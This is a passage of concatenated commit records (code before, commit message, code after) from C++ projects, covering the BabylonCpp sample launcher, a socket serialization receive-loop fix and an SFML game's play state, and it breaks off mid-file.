argtable[] entries were allocated sucessfully **\/\n  if (arg_nullcheck(argtable) != 0) {\n    \/** NULL entries were detected, some allocations must have failed **\/\n    printf(\"%s: insufficient memory\\n\", progname);\n    exitcode = 1;\n    arg_freetable(argtable, sizeof(argtable) \/ sizeof(argtable[0]));\n    return exitcode;\n  }\n\n  \/** Set the default sample values prior to parsing **\/\n  sample->sval[0] = \"BasicScene\";\n\n  \/**  Set the default sample group prior to parsing *\/\n  sampleGroup->sval[0] = \"\";\n\n  \/** Parse the command line as defined by argtable[] **\/\n  nerrors = arg_parse(argc, argv, argtable);\n\n  \/** Special case: '--help' takes precedence over error reporting **\/\n  if (help->count > 0) {\n    printf(\"Usage: %s\", progname);\n    arg_print_syntax(stdout, argtable, \"\\n\");\n    printf(\n      \"This program acts as a sample launcher for demonstrating the usage of \"\n      \"the BabylonCpp library\\n\");\n    arg_print_glossary(stdout, argtable, \"  %-35s %s\\n\");\n    exitcode = 0;\n    arg_freetable(argtable, sizeof(argtable) \/ sizeof(argtable[0]));\n    return exitcode;\n  }\n\n  \/** Special case: '--version' takes precedence error reporting **\/\n  if (version->count > 0) {\n    printf(\"%s\\n\", BABYLONCPP_NAME_VERSION);\n    exitcode = 0;\n    arg_freetable(argtable, sizeof(argtable) \/ sizeof(argtable[0]));\n    return exitcode;\n  }\n\n  \/** If the parser returned any errors then display them and exit **\/\n  if (nerrors > 0) {\n    \/** Display the error details contained in the arg_end struct. **\/\n    arg_print_errors(stdout, end, progname);\n    printf(\"Try '%s --help' for more information.\\n\", progname);\n    exitcode = 1;\n    arg_freetable(argtable, sizeof(argtable) \/ sizeof(argtable[0]));\n    return exitcode;\n  }\n\n  \/** Normal case: run sample **\/\n  exitcode = sampleLauncherMain(list->count, verbose->count, inspector->count,\n                                sampleGroup->sval[0], sample->sval[0]);\n\n  \/** Deallocate each non-null entry in argtable[] **\/\n  arg_freetable(argtable, sizeof(argtable) \/ sizeof(argtable[0]));\n\n  return exitcode;\n}\n<commit_msg>main.cpp \/ ConsoleLogger : add newlines in msvc console output<commit_after>#include <argtable3\/argtable3.h>\n\n#include <sstream>\n#include <utility>\n#include <babylon\/babylon_version.h>\n#include <babylon\/core\/delegates\/delegate.h>\n#include <babylon\/core\/logging.h>\n#include <babylon\/core\/string.h>\n#include <babylon\/samples\/sample_launcher.h>\n#include <babylon\/samples\/samples_index.h>\n#ifdef WITH_INSPECTOR\n#include <babylon\/inspector\/inspector.h>\n#endif\n\n#if _MSC_VER\n#include <windows.h>\n#include <direct.h>\n#include <filesystem>\n#endif\n\nstruct ConsoleLogger {\n\n  using log_message_t = SA::delegate<void(const BABYLON::LogMessage&)>;\n\n  static void onLogMessage(const BABYLON::LogMessage& logMessage)\n  {\n    printf(\"%s\\n\", logMessage.toString().c_str());\n#if _MSC_VER\n    std::string msg_n = logMessage.toString() + \"\\n\";\n    OutputDebugString(msg_n.c_str());\n#endif\n  }\n\n  static log_message_t logListenerDelegate;\n\n}; \/\/ end of struct ConsoleLogger\n\nConsoleLogger::log_message_t ConsoleLogger::logListenerDelegate\n  = SA::delegate<void(\n    const BABYLON::LogMessage&)>::create<&ConsoleLogger::onLogMessage>();\n\n\/**\n * @brief Initializes the logging.\n *\/\nvoid initializeLogging()\n{\n  static_assert(\n    std::is_same<SA::delegate<void(const BABYLON::LogMessage&)>,\n                 decltype(ConsoleLogger::logListenerDelegate)>::value,\n    \"!\");\n  \/\/ Intialize log levels\n  std::vector<std::pair<unsigned int, std::string>> _logLevels;\n  for (auto& logLevel : BABYLON::LogLevels::Levels) {\n    unsigned int logType = logLevel.first;\n    if ((logType != BABYLON::LogLevels::LEVEL_QUIET)\n        && (logType != BABYLON::LogLevels::LEVEL_TRACE)) {\n      _logLevels.emplace_back(logLevel);\n    }\n  }\n  \/\/ Subscribe to channels\n  for (auto& logLevel : _logLevels) {\n    unsigned int logType = logLevel.first;\n    if (logType != BABYLON::LogLevels::LEVEL_QUIET) {\n      BABYLON::Logger::Instance().registerLogMessageListener(\n        logType, ConsoleLogger::logListenerDelegate);\n    }\n  }\n}\n\n\/\/ a simple \"Consumable value\", i.e a value that is reset when it is consumed\ntemplate<typename T>\nclass ConsumableValue\n{\npublic:\n  ConsumableValue(std::optional<T> v = std::nullopt) : _value(v) {};\n  bool hasValue() { return _value.has_value(); }\n  void setValue(T value) { _value = value; }\n  T consumeValue() { return std::exchange(_value, std::nullopt).value(); } \/\/ will throw if empty!\nprivate:\n   std::optional<T> _value;\n};\n\n\/**\n * @brief Runs a sample with the specified name\n * @param samples list with available samples\n * @param sampleName name of the sample to run\n * @param showInspectorWindow whether or not to shoz the inspector window\n * @return exit code\n *\/\nint runSample(const BABYLON::Samples::SamplesIndex& samples,\n              const std::string& startSampleName, bool showInspectorWindow,\n              long runTimeMillis = 0)\n{\n  \/\/ The inspector enables to switch to another sample via\n  \/\/ the callback BABYLON::Inspector::OnSampleChanged\n  \/\/ which will the content of \"nextSample\"\n  ConsumableValue<std::string> nextSample(startSampleName);\n  #ifdef WITH_INSPECTOR\n  BABYLON::Inspector::OnSampleChanged = [&nextSample](const std::string & s) {\n    nextSample.setValue(s);\n  };\n  #endif\n\n  int exitcode = 0;\n  \/\/ Create the sample launcher\n  BABYLON::Samples::SampleLauncherOptions options;\n  options.showInspectorWindow = showInspectorWindow;\n\n\n  while (nextSample.hasValue())\n  {\n    std::string sampleName = nextSample.consumeValue();\n    BABYLON::Samples::SampleLauncher sampleLauncher{options};\n    if (sampleLauncher.intialize()) {\n      \/\/ Create the renderable scene\n      auto canvas = sampleLauncher.getRenderCanvas();\n      auto scene  = samples.createRenderableScene(sampleName, canvas);\n      sampleLauncher.setRenderableScene(scene);\n      \/\/ Run the example: it will stop when a new sample was selected via the inspector\n      exitcode = sampleLauncher.run([&nextSample]() { return nextSample.hasValue(); }, runTimeMillis);\n    }\n  }\n  return exitcode;\n}\n\n\/**\n * @brief The sample launcher.\n * @param l list samples if l > 0\n * @param v enable verbose mode if v > 0\n * @param sample name of the sample to run\n * @return exit code\n *\/\nint sampleLauncherMain(int l, int v, int i, const char* sampleGroup,\n                       const char* sample)\n{\n  using namespace BABYLON::Samples;\n  SamplesIndex samples;\n  int exitcode = 0;\n  if (l > 0) {\n    std::ostringstream oss;\n    \/\/ Get sample names and category names\n    auto sampleNames   = samples.getSampleNames();\n    auto categoryNames = samples.getCategoryNames();\n    oss << \"Found \" << sampleNames.size() << \" in \" << categoryNames.size()\n        << \" categories:\\n\";\n    \/\/ Print categorized samples\n    for (const auto& categoryName : categoryNames) {\n      sampleNames = samples.getSampleNamesInCategory(categoryName);\n      oss << \"       |- \";\n      if (sampleNames.size() < 10) {\n        oss << \" \" << sampleNames.size();\n      }\n      else if (sampleNames.size() < 100) {\n        oss << sampleNames.size();\n      }\n      oss << \" sample(s) in category \\\"\" << categoryName.c_str() << \"\\\"\\n\";\n      for (const auto& sampleName : sampleNames) {\n        oss << \"           |- \" << sampleName.c_str() << \"\\n\";\n      }\n    }\n    printf(\"%s\", oss.str().c_str());\n  }\n  else {\n    if (v > 0) {\n      \/\/ Enable console logging\n      initializeLogging();\n    }\n    \/\/ Check for rendering of sample group\n    const std::string categoryName{sampleGroup};\n    if (!categoryName.empty()\n        && (samples.categoryExists(categoryName) || categoryName == \"All\")) {\n      std::vector<std::string> categoryNames;\n      if (categoryName == \"All\") {\n        categoryNames = samples.getCategoryNames();\n      }\n      else {\n        categoryNames = {categoryName};\n      }\n      for (const auto& _categoryName : categoryNames) {\n        const auto sampleNames\n          = samples.getSampleNamesInCategory(_categoryName);\n        for (const auto& sampleName : sampleNames) {\n          exitcode = runSample(samples, sampleName, i > 0, 10000);\n          if (exitcode == 0) {\n            break;\n          }\n        }\n      }\n    }\n    else {\n      \/\/ Check for rendering of sample\n      const std::string sampleName{sample};\n      if (!samples.sampleExists(sampleName)) {\n        printf(\"Sample with name \\\"%s\\\" does not exists.\\n\", sample);\n        return 1;\n      }\n      if (!samples.isSampleEnabled(sampleName)) {\n        printf(\"Sample with name \\\"%s\\\" is not enabled.\\n\", sample);\n        return 1;\n      }\n      \/\/ Run the sample\n      exitcode = runSample(samples, sampleName, i > 0);\n    }\n  }\n  return exitcode;\n}\n\n#ifdef _MSC_VER\nvoid ChdirToExePath(char *argv0)\n{\n  std::filesystem::path exeFolder = std::filesystem::weakly_canonical(std::filesystem::path(argv0)).parent_path();\n#ifdef _WIN32\n  _chdir(exeFolder.string().c_str());\n#else\n  chdir(exeFolder.string().c_str());\n#endif\n}\n#endif \/\/ _MSC_VER\n\nint main(int argc, char** argv)\n{\n#ifdef _MSC_VER\n  ChdirToExePath(argv[0]);\n#endif\n  \/** Program arguments definition **\/\n  struct arg_lit* list   = arg_lit0(\"lL\", NULL, \"list samples\");\n  struct arg_str* sample = arg_str0(\n    \"S\", \"sample\", \"<SAMPE>\", \"sample to launch (default is \\\"BasicScene\\\")\");\n  struct arg_str* sampleGroup = arg_str0(\n    \"G\", \"sample-group\", \"<SAMPE-GROUP>\",\n    \"sample group to launch (sample-group \\\"All\\\" contains all samples)\");\n  struct arg_lit* verbose = arg_lit0(\"v\", \"verbose,debug\", \"verbose messages\");\n  struct arg_lit* inspector\n    = arg_lit0(\"i\", \"inspector\", \"show inspector window\");\n  struct arg_lit* help = arg_lit0(NULL, \"help\", \"print this help and exit\");\n  struct arg_lit* version\n    = arg_lit0(NULL, \"version\", \"print version information and exit\");\n  struct arg_end* end = arg_end(20);\n  void* argtable[]\n    = {list, sample, sampleGroup, verbose, inspector, help, version, end};\n  const char* progname = \"SampleLauncher\";\n  int nerrors;\n  int exitcode = 0;\n\n  \/** Verify the argtable[] entries were allocated sucessfully **\/\n  if (arg_nullcheck(argtable) != 0) {\n    \/** NULL entries were detected, some allocations must have failed **\/\n    printf(\"%s: insufficient memory\\n\", progname);\n    exitcode = 1;\n    arg_freetable(argtable, sizeof(argtable) \/ sizeof(argtable[0]));\n    return exitcode;\n  }\n\n  \/** Set the default sample values prior to parsing **\/\n  sample->sval[0] = \"BasicScene\";\n\n  \/**  Set the default sample group prior to parsing *\/\n  sampleGroup->sval[0] = \"\";\n\n  \/** Parse the command line as defined by argtable[] **\/\n  nerrors = arg_parse(argc, argv, argtable);\n\n  \/** Special case: '--help' takes precedence over error reporting **\/\n  if (help->count > 0) {\n    printf(\"Usage: %s\", progname);\n    arg_print_syntax(stdout, argtable, \"\\n\");\n    printf(\n      \"This program acts as a sample launcher for demonstrating the usage of \"\n      \"the BabylonCpp library\\n\");\n    arg_print_glossary(stdout, argtable, \"  %-35s %s\\n\");\n    exitcode = 0;\n    arg_freetable(argtable, sizeof(argtable) \/ sizeof(argtable[0]));\n    return exitcode;\n  }\n\n  \/** Special case: '--version' takes precedence error reporting **\/\n  if (version->count > 0) {\n    printf(\"%s\\n\", BABYLONCPP_NAME_VERSION);\n    exitcode = 0;\n    arg_freetable(argtable, sizeof(argtable) \/ sizeof(argtable[0]));\n    return exitcode;\n  }\n\n  \/** If the parser returned any errors then display them and exit **\/\n  if (nerrors > 0) {\n    \/** Display the error details contained in the arg_end struct. **\/\n    arg_print_errors(stdout, end, progname);\n    printf(\"Try '%s --help' for more information.\\n\", progname);\n    exitcode = 1;\n    arg_freetable(argtable, sizeof(argtable) \/ sizeof(argtable[0]));\n    return exitcode;\n  }\n\n  \/** Normal case: run sample **\/\n  exitcode = sampleLauncherMain(list->count, verbose->count, inspector->count,\n                                sampleGroup->sval[0], sample->sval[0]);\n\n  \/** Deallocate each non-null entry in argtable[] **\/\n  arg_freetable(argtable, sizeof(argtable) \/ sizeof(argtable[0]));\n\n  return exitcode;\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Fix bug where pieces would stop falling<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>fix shape edges computation<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>Try to add set default target triple<commit_after><|endoftext|>"}
{"text":"<commit_before>#include <Socket\/SocketSerialized.hpp>\n#include <Socket\/define.hpp>\n\nnamespace ntw {\n\nSocketSerialized::SocketSerialized(Socket::Dommaine dommaine,Socket::Type type,int protocole): Serializer(255), Socket(dommaine,type,protocole), status(0)\n{\n    \/\/reserver les 2 premier bits pour la taille\n    _cursor_end =_cursor_begin = 4;\n    \/\/is_send=false;\n};\n\nSocketSerialized::SocketSerialized(Socket&& s) : Serializer(255)\n{\n    std::swap(s.sock,sock);\n    std::swap(s.sock_cfg,sock_cfg);\n    _cursor_end =_cursor_begin = 4;\n};\n\nvoid SocketSerialized::send()\n{\n    \/\/écrire la taille dans les 2 premier oct\n    uint16_t size = _cursor_end - _cursor_begin;\n    uint8_t *d = (uint8_t *)&size;\n    #if __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__\n    _buffer[_cursor_begin - 4] = d[0];\n    _buffer[_cursor_begin - 3] = d[1];\n    #elif __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__\n    _buffer[_cursor_begin - 4] = d[1];\n    _buffer[_cursor_begin - 3] = d[0];\n    #else\n    #error \"byte orden not suported (PDP endian)\"\n    #endif\n\n    {\n        uint16_t st = status;\n        d = (uint8_t*)&st;\n        #if __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__\n        _buffer[_cursor_begin - 2] = d[0];\n        _buffer[_cursor_begin - 1] = d[1];\n        #elif __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__\n        _buffer[_cursor_begin - 2] = d[1];\n        _buffer[_cursor_begin - 1] = d[0];\n        #else\n        #error \"byte orden not suported (PDP endian)\"\n        #endif\n    }\n    \/\/envoyer\n    \/\/std::cout<<\"send: \"<<*this<<std::endl;\n    int res = Socket::send(_buffer+_cursor_begin-4, 4+size);\n    std::cout<<\"Send : \"<<res<<\"\/\"<<int(4+size)<<std::endl;\n    \/\/reset\n    \/\/clear();\n};\n\nint SocketSerialized::receive()\n{\n    \/\/recuperer la taille dans les 4 premier oct\n    int res = Socket::receive(_buffer,4);\n    if (res > 0)\n    {\n        uint8_t d[2];\n        #if __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__\n        d[0]= _buffer[0];\n        d[1]= _buffer[1];\n        #elif __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__\n        d[1]= _buffer[0];\n        d[0]= _buffer[1];\n        #else\n        #error \"byte orden not suported (PDP endian)\"\n        #endif\n        uint16_t size = *(uint16_t*)&d;\n\n        #if __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__\n        d[0]= _buffer[2];\n        d[1]= _buffer[3];\n        #elif __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__\n        d[1]= _buffer[2];\n        d[0]= _buffer[3];\n        #else\n        #error \"byte orden not suported (PDP endian)\"\n        #endif\n        status = *(uint16_t*)&d;\n\n        \/\/reset\n        if (int(_buffer_size) < 4+size)\n            resize(4+size);\n        \/\/else _buffer_size ne change pas\n        _cursor_begin = 4;\n        _cursor_end = 4+size;\n        \/\/remplacer le buffer\n        if(size>0)\n        {\n            int recv_left = size;\n            int recv = 0;\n            while(recv_left > 0)\n            {\n                recv = Socket::receive(_buffer+4+recv,recv_left);\n                std::cout<<\"Recv size: \"<<recv<<std::endl;\n                res+=recv;\n                recv_left -=recv;\n            }\n        }\n    }\n    else\n    {\n        clear();\n        setStatus(NTW_STOP_CONNEXION);\n    }\n    \/\/std::cout<<\"recv: \"<<*this<<std::endl;\n    std::cout<<\"Recv real: \"<<res<<std::endl;\n    return res;\n};\n\nvoid SocketSerialized::setStatus(short int st)\n{\n    status = st;\n}\n\nshort int SocketSerialized::getStatus()const\n{\n    return status;\n}\n\nvoid SocketSerialized::clear()\n{\n    _cursor_begin = _cursor_end = 4;\n}\n\nstd::ostream& operator<<(std::ostream& output,const SocketSerialized& self)\n{\n    output<<\"[\"<<self.size()<<\":\"<<self.status<<\"]\";\n    for(unsigned int i=self._cursor_begin; i<self._cursor_end;++i)\n    {\n        if(self._buffer[i] < 33 or self._buffer[i] >126)\n            output<<\"<\"<<(int)self._buffer[i]<<\">\";\n        else\n            output<<\"'\"<<(char)self._buffer[i]<<\"'\";\n    }\n    return output;\n};\n    \n\n};\n<commit_msg>test fix bug<commit_after>#include <Socket\/SocketSerialized.hpp>\n#include <Socket\/define.hpp>\n\nnamespace ntw {\n\nSocketSerialized::SocketSerialized(Socket::Dommaine dommaine,Socket::Type type,int protocole): Serializer(255), Socket(dommaine,type,protocole), status(0)\n{\n    \/\/reserver les 2 premier bits pour la taille\n    _cursor_end =_cursor_begin = 4;\n    \/\/is_send=false;\n};\n\nSocketSerialized::SocketSerialized(Socket&& s) : Serializer(255)\n{\n    std::swap(s.sock,sock);\n    std::swap(s.sock_cfg,sock_cfg);\n    _cursor_end =_cursor_begin = 4;\n};\n\nvoid SocketSerialized::send()\n{\n    \/\/écrire la taille dans les 2 premier oct\n    uint16_t size = _cursor_end - _cursor_begin;\n    uint8_t *d = (uint8_t *)&size;\n    #if __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__\n    _buffer[_cursor_begin - 4] = d[0];\n    _buffer[_cursor_begin - 3] = d[1];\n    #elif __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__\n    _buffer[_cursor_begin - 4] = d[1];\n    _buffer[_cursor_begin - 3] = d[0];\n    #else\n    #error \"byte orden not suported (PDP endian)\"\n    #endif\n\n    {\n        uint16_t st = status;\n        d = (uint8_t*)&st;\n        #if __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__\n        _buffer[_cursor_begin - 2] = d[0];\n        _buffer[_cursor_begin - 1] = d[1];\n        #elif __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__\n        _buffer[_cursor_begin - 2] = d[1];\n        _buffer[_cursor_begin - 1] = d[0];\n        #else\n        #error \"byte orden not suported (PDP endian)\"\n        #endif\n    }\n    \/\/envoyer\n    \/\/std::cout<<\"send: \"<<*this<<std::endl;\n    int res = Socket::send(_buffer+_cursor_begin-4, 4+size);\n    std::cout<<\"Send : \"<<res<<\"\/\"<<int(4+size)<<std::endl;\n    \/\/reset\n    \/\/clear();\n};\n\nint SocketSerialized::receive()\n{\n    \/\/recuperer la taille dans les 4 premier oct\n    int res = Socket::receive(_buffer,4);\n    if (res > 0)\n    {\n        uint8_t d[2];\n        #if __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__\n        d[0]= _buffer[0];\n        d[1]= _buffer[1];\n        #elif __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__\n        d[1]= _buffer[0];\n        d[0]= _buffer[1];\n        #else\n        #error \"byte orden not suported (PDP endian)\"\n        #endif\n        uint16_t size = *(uint16_t*)&d;\n\n        #if __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__\n        d[0]= _buffer[2];\n        d[1]= _buffer[3];\n        #elif __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__\n        d[1]= _buffer[2];\n        d[0]= _buffer[3];\n        #else\n        #error \"byte orden not suported (PDP endian)\"\n        #endif\n        status = *(uint16_t*)&d;\n\n        \/\/reset\n        if (int(_buffer_size) < 4+size)\n            resize(4+size);\n        \/\/else _buffer_size ne change pas\n        _cursor_begin = 4;\n        _cursor_end = 4+size;\n        \/\/remplacer le buffer\n        if(size>0)\n        {\n            int recv_left = size;\n            int recv = 0;\n            while(recv_left > 0)\n            {\n                recv = Socket::receive(_buffer+res,recv_left-recv);\n                if(recv<0)\n                    break;\n                std::cout<<\"Recv size: \"<<recv<<std::endl;\n                res+=recv;\n                recv_left -=recv;\n            }\n        }\n    }\n    else\n    {\n        clear();\n        setStatus(NTW_STOP_CONNEXION);\n    }\n    \/\/std::cout<<\"recv: \"<<*this<<std::endl;\n    std::cout<<\"Recv real: \"<<res<<std::endl;\n    return res;\n};\n\nvoid SocketSerialized::setStatus(short int st)\n{\n    status = st;\n}\n\nshort int SocketSerialized::getStatus()const\n{\n    return status;\n}\n\nvoid SocketSerialized::clear()\n{\n    _cursor_begin = _cursor_end = 4;\n}\n\nstd::ostream& operator<<(std::ostream& output,const SocketSerialized& self)\n{\n    output<<\"[\"<<self.size()<<\":\"<<self.status<<\"]\";\n    for(unsigned int i=self._cursor_begin; i<self._cursor_end;++i)\n    {\n        if(self._buffer[i] < 33 or self._buffer[i] >126)\n            output<<\"<\"<<(int)self._buffer[i]<<\">\";\n        else\n            output<<\"'\"<<(char)self._buffer[i]<<\"'\";\n    }\n    return output;\n};\n    \n\n};\n<|endoftext|>"}
{"text":"<commit_before>#include \"Play.hpp\"\n\n#include <functional>\n\n#include \"..\/..\/ResourceManager\/AssetManager.hpp\"\n\n\/* GUI headers *\/\n#include \"..\/..\/GUI\/Containers\/Column.hpp\"\n#include \"..\/..\/GUI\/Containers\/Row.hpp\"\n#include \"..\/..\/GUI\/Widgets\/Label.hpp\"\n#include \"..\/..\/GUI\/Widgets\/Button.hpp\"\n#include \"..\/..\/GUI\/Widgets\/Spacer.hpp\"\n\n\/* Worlds *\/\n#include \"..\/..\/World\/Worlds\/TestWorld.hpp\"\n\nnamespace swift\n{\n\tPlay::Play(sf::RenderWindow& win, AssetManager& am, Settings& set, Settings& dic)\n\t\t:\tState(win, am, set, dic),\n\t\t    state(SubState::Play),\n\t\t\tactiveWorld(nullptr),\n\t\t\tplayer(nullptr)\n\t{\n\t\treturnType = State::Type::Play;\n\t}\n\n\tPlay::~Play()\n\t{\n\t\tfor(auto& w : worlds)\n\t\t{\n\t\t\tw->save(\"\");\n\t\t\tdelete w;\n\t\t}\n\t}\n\n\tvoid Play::setup()\n\t{\n\t\twindow.setKeyRepeatEnabled(false);\n\t\t\n\t\tworlds.emplace_back(new TestWorld({800, 600}, assets));\n\t\tactiveWorld = worlds[0];\n\t\t\n\t\tsetupKeyBindings();\n\t\t\n\t\t\/\/ setup pause menu GUI\n\t\tstd::string resume = \"Resume\";\n\t\tdictionary.get(\"resumeButton\", resume);\n\t\tcstr::Column& pauseColumn = pauseMenu.addContainer(new cstr::Column({static_cast<int>(window.getSize().x) \/ 2 - 50, static_cast<int>(window.getSize().y \/ 2) - 50, 100, 125}, false));\n\t\tpauseColumn.addWidget(new cstr::Button({100, 50}, assets.getTexture(\".\/data\/textures\/button.png\"), [&]()\n\t\t{\n\t\t\tstate = SubState::Play;\n\t\t})).setString(resume, assets.getFont(\".\/data\/fonts\/segoeuisl.ttf\"));\n\t\t\n\t\tpauseColumn.addWidget(new cstr::Spacer({100, 25}));\n\t\t\n\t\tstd::string mainMenu = \"Main Menu\";\n\t\tdictionary.get(\"mainMenuButton\", mainMenu);\n\t\tpauseColumn.addWidget(new cstr::Button({100, 50}, assets.getTexture(\".\/data\/textures\/button.png\"), [&]()\n\t\t{\n\t\t\treturnType = State::Type::MainMenu;\n\t\t})).setString(mainMenu, assets.getFont(\".\/data\/fonts\/segoeuisl.ttf\"));\n\t\t\n\t\t\/\/ setup player\n\t\tplayer = activeWorld->addEntity();\n\t\tplayer->add<Drawable>();\n\t\tplayer->add<Physical>();\n\t\tplayer->add<Name>();\n\t\tplayer->get<Name>()->name = \"player\";\n\t\tplayer->add<Movable>();\n\t\t\n\t\tplayer->get<Drawable>()->sprite.setTexture(assets.getTexture(\".\/data\/textures\/guy.png\"));\n\t\tplayer->get<Drawable>()->sprite.setScale({0.5f, (player->get<Drawable>()->sprite.getGlobalBounds().height - 16) \/ player->get<Drawable>()->sprite.getGlobalBounds().height});\n\t\t\n\t\tplayer->get<Physical>()->position = {400, 300};\n\t\tplayer->get<Physical>()->size = {static_cast<unsigned>(player->get<Drawable>()->sprite.getGlobalBounds().width),\n\t\t\t\t\t\t\t\t\t\tstatic_cast<unsigned>(player->get<Drawable>()->sprite.getGlobalBounds().height)};\n\t\t\n\t\tplayer->get<Movable>()->moveVelocity = 100;\n\t\t\n\t\t\/\/ setup world\n\t\tactiveWorld->load(\".\/data\/saves\/default\/maze.world\");\n\t\tactiveWorld->tilemap.loadFile(\".\/data\/maps\/maze.map\");\n\t\tactiveWorld->tilemap.loadTexture(assets.getTexture(activeWorld->tilemap.getTextureFile()));\n\t}\n\n\tvoid Play::handleEvent(sf::Event& event)\n\t{\n\t\tswitch(state)\n\t\t{\n\t\t\tcase SubState::Play:\n\t\t\t\thud.update(event);\n\t\t\t\tbreak;\n\t\t\tcase SubState::Pause:\n\t\t\t\tpauseMenu.update(event);\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tbreak;\n\t\t}\n\n\t\tkeyboard(event);\n\t\tmouse(event);\n\t}\n\n\tvoid Play::update(sf::Time dt)\n\t{\n\t\tswitch(state)\n\t\t{\n\t\t\tcase SubState::Play:\n\t\t\t\tactiveWorld->update(dt.asSeconds());\n\t\t\t\tbreak;\n\t\t\tcase SubState::Pause:\n\t\t\t\tbreak;\n\t\t}\n\t}\n\n\tvoid Play::draw(float \/*e*\/)\n\t{\n\t\tswitch(state)\n\t\t{\n\t\t\tcase SubState::Play:\n\t\t\t\tactiveWorld->drawWorld(window);\n\t\t\t\t\n\t\t\t\tactiveWorld->drawEntities(window);\n\t\t\t\t\n\t\t\t\twindow.draw(hud);\n\t\t\t\tbreak;\n\t\t\tcase SubState::Pause:\n\t\t\t\twindow.draw(pauseMenu);\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tbreak;\n\t\t}\n\t}\n\n\tbool Play::switchFrom()\n\t{\n\t\treturn returnType != State::Type::Play;\n\t}\n\n\tState::Type Play::finish()\n\t{\n\t\treturn returnType;\n\t}\n\n\tvoid Play::setupKeyBindings()\n\t{\n\t\tkeyboard.newBinding(\"PauseMenu\", sf::Keyboard::Escape, [&]()\n\t\t{\n\t\t\tstate = (state == SubState::Pause) ? SubState::Play : SubState::Pause;\n\t\t}, false);\n\t\t\n\t\t\/\/ move up press and release\n\t\tkeyboard.newBinding(\"moveUpStart\", sf::Keyboard::Up, [&]()\n\t\t{\n\t\t\tif(player)\n\t\t\t\tif(player->has<Movable>())\n\t\t\t\t\tplayer->get<Movable>()->velocity += {0, -player->get<Movable>()->moveVelocity};\n\t\t}, true);\n\t\t\n\t\tkeyboard.newBinding(\"moveUpStop\", sf::Keyboard::Up, [&]()\n\t\t{\n\t\t\tif(player)\n\t\t\t\tif(player->has<Movable>())\n\t\t\t\t\tplayer->get<Movable>()->velocity += {0, player->get<Movable>()->moveVelocity};\n\t\t}, false);\n\t\t\n\t\t\/\/ move down press and release\n\t\tkeyboard.newBinding(\"moveDownStart\", sf::Keyboard::Down, [&]()\n\t\t{\n\t\t\tif(player)\n\t\t\t\tif(player->has<Movable>())\n\t\t\t\t\tplayer->get<Movable>()->velocity += {0, player->get<Movable>()->moveVelocity};\n\t\t}, true);\n\t\t\n\t\tkeyboard.newBinding(\"moveDownStop\", sf::Keyboard::Down, [&]()\n\t\t{\n\t\t\tif(player)\n\t\t\t\tif(player->has<Movable>())\n\t\t\t\t\tplayer->get<Movable>()->velocity += {0, -player->get<Movable>()->moveVelocity};\n\t\t}, false);\n\t\t\n\t\t\/\/ move left press and release\n\t\tkeyboard.newBinding(\"moveLeftStart\", sf::Keyboard::Left, [&]()\n\t\t{\n\t\t\tif(player)\n\t\t\t\tif(player->has<Movable>())\n\t\t\t\t\tplayer->get<Movable>()->velocity += {-player->get<Movable>()->moveVelocity, 0};\n\t\t}, true);\n\t\t\n\t\tkeyboard.newBinding(\"moveLeftStop\", sf::Keyboard::Left, [&]()\n\t\t{\n\t\t\tif(player)\n\t\t\t\tif(player->has<Movable>())\n\t\t\t\t\tplayer->get<Movable>()->velocity += {player->get<Movable>()->moveVelocity, 0};\n\t\t}, false);\n\t\t\n\t\t\/\/ move right press and release\n\t\tkeyboard.newBinding(\"moveRightStart\", sf::Keyboard::Right, [&]()\n\t\t{\n\t\t\tif(player)\n\t\t\t\tif(player->has<Movable>())\n\t\t\t\t\tplayer->get<Movable>()->velocity += {player->get<Movable>()->moveVelocity, 0};\n\t\t}, true);\n\t\t\n\t\tkeyboard.newBinding(\"moveRightStop\", sf::Keyboard::Right, [&]()\n\t\t{\n\t\t\tif(player)\n\t\t\t\tif(player->has<Movable>())\n\t\t\t\t\tplayer->get<Movable>()->velocity += {-player->get<Movable>()->moveVelocity, 0};\n\t\t}, false);\n\t}\n}\n<commit_msg>Removed old player init code. Player is now first Entity in the World save file<commit_after>#include \"Play.hpp\"\n\n#include <functional>\n\n#include \"..\/..\/ResourceManager\/AssetManager.hpp\"\n\n\/* GUI headers *\/\n#include \"..\/..\/GUI\/Containers\/Column.hpp\"\n#include \"..\/..\/GUI\/Containers\/Row.hpp\"\n#include \"..\/..\/GUI\/Widgets\/Label.hpp\"\n#include \"..\/..\/GUI\/Widgets\/Button.hpp\"\n#include \"..\/..\/GUI\/Widgets\/Spacer.hpp\"\n\n\/* Worlds *\/\n#include \"..\/..\/World\/Worlds\/TestWorld.hpp\"\n\nnamespace swift\n{\n\tPlay::Play(sf::RenderWindow& win, AssetManager& am, Settings& set, Settings& dic)\n\t\t:\tState(win, am, set, dic),\n\t\t    state(SubState::Play),\n\t\t\tactiveWorld(nullptr),\n\t\t\tplayer(nullptr)\n\t{\n\t\treturnType = State::Type::Play;\n\t}\n\n\tPlay::~Play()\n\t{\n\t\tfor(auto& w : worlds)\n\t\t\tdelete w;\n\t}\n\n\tvoid Play::setup()\n\t{\n\t\twindow.setKeyRepeatEnabled(false);\n\t\t\n\t\tworlds.emplace_back(new TestWorld(\"testWorld\", {800, 600}, assets));\n\t\tactiveWorld = worlds[0];\n\t\t\n\t\tsetupKeyBindings();\n\t\t\n\t\t\/\/ setup pause menu GUI\n\t\tstd::string resume = \"Resume\";\n\t\tdictionary.get(\"resumeButton\", resume);\n\t\tcstr::Column& pauseColumn = pauseMenu.addContainer(new cstr::Column({static_cast<int>(window.getSize().x) \/ 2 - 50, 